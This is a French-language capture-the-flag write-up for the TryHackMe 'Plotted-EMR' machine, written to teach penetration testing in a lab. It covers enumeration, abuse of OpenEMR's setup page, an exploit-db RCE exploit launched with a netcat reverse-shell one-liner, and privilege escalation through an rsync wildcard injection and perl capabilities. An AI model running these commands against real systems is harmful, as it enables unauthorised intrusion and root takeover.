Everything here is plotted!
Plotted-EMR est une boîte rigide de TryHackMe. L’initiale est très bonne. Il faut réfléchir et recoller les morceaux!!! Après, c’est du privé classique.
Commande :
nmap -sV -sC -T5 10.10.207.74
Nmap nous montre 5 ports ouverts. Il faut pour chacun d’entre eux les énumérer. Nous allons commencer par le service FTP.
L’accès au service FTP se fait avec le compte anonymous.
Il faut bien regarder et voir .- puis … et enfin télécharger le fichier you_are_determined.txt avec la commande :
mget you_are_determined.txt
Lecture du fichier you_are_determined.txt :
cat you_are_determined.txt
On obtient un indice. Il y a un service qui fonctionne avec le compte admin. Reste à savoir lequel ?
Nmap nous a déjà donné la version. Nous allons essayer de nous connecter au service avec le compte admin.
Commande :
mysql -u admin -h 10.10.207.74 -P 5900
L’accès est possible sans mot de passe. En revanche, il n’y a rien d’intéressant à l’intérieur des bases de données.
dirsearch -u 10.10.207.74 -x 403
On atterrit sur un page avec un string encodé en base64 apparemment.
Même chose dans ce répertoire
Les deux éléments ne sont que des rabbithole
dGhpcyBtaWdodCBiZSBhIHVzZXJuYW1l === this might be a username
aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ== === https://www.youtube.com/watch?v=dQw4w9WgXcQ
Commande :
dirsearch -u 10.10.207.74 :8890-x 403
On récupère plusieurs répertoires intéressants.
On atterrit sur une page de login
En effectuant une recherche sur Google, il apparait que les versions 5.0.2.1, 5.0.1.3 sont vulnérables. Il faut, en revanche, être authentifié. Il faut donc trouver un moyen de se logger à l’interface.
En premier, on va d’abord à nouveau parser le site web uniquement sur /portal cette fois-ci.
Commande :
dirsearch -u 10.10.207.74 :8890/portal -x 403
On trouve une page setup.php qui nous permet apparemment de mettre en place un nouveau site. Après quelques recherches du Google, il existe aussi une autre page admin.php qui nous donne d’autre information.
Ce n’est pas un exploit très simple en mettre en place. Il faut réfléchir et se rappeler des accès que l’on a trouvé précédent. Ça m’a pris beaucoup de temps pour comprendre…
Il faut mettre un nom au site et faire continue
Continue
Prendre le choix : Have setup create the database
Et enfin on arrive sur la page de configuration du nouveau site.
Les informations à modifier :
MYSQL SERVER:
server host : 10.10.207.74
Server Port: 5900
Login Name: newuser
Password: celui que vous voulez
Name for Root Account: admin ( c’est le compte avec lequel on s’est connecté sur la base sql )
OPENEMR USER:
Initial User: newsadmin
Initial User Password: celui que vous voulez
Attention, après avoir cliqué sur continue, ça peut prendre jusqu’à 1 minute pour arriver à l’étape suivante.
Maintenant, on a des identifiants pour se connecter à l’application OpenEmr. Il est possible d’utiliser l’exploit disponible qui permettent d’obtenir un RCE.
Exploit à utiliser : https://www.exploit-db.com/exploits/45161
La ligne 66 doit être modifiée. Il faut mettre le nom du nouveau site.
Commande pour lancer l’exploit :
python2.7 45161.py -u admin -p password -c ‘rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 10.11.38.124 1234 > f’ http://10.10.137.4:8890/portal/
Linpeas nous montre une tâche planifiée qui s’exécute toutes les minutes.
Il y une wildcard dans la ligne de commande. Cela peut être utilisé pour élever les privilèges. Comme le script va sauvegarder tous les éléments ( * ) présent dans config, On va créer un fichier dans ce dossier qui va obliger rsync à exécuter la commande sh shell.sh grâce au double tiret — .
Commande à effectuer :
cd /var/www/html/portal/config
echo « cp /bin/bash /home/plot_admin/ shell; chmod +s /home/plot_admin/shell » > shell.sh
touch — « -e sh shell.sh »
Une fois que la tâche planifiée a été exécuter, il faut se rendre dans le dossier /home/plot_admin et exécuter le nouveau bash.
Commande :
./shell -p
Linpeas l’avait déjà montré. Perl a des capabilities. Le site gtfobins nous explique comment procéder pour élever les privilèges vers root.
Commande :
getcap -r / 2>/dev/null
Commande original de gtfobins :
./perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec « /bin/sh »;’
Commande modifiée :
/usr/bin/perl -e ‘chmod 7777, « /bin/bash »‘
/bin/bash -p
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.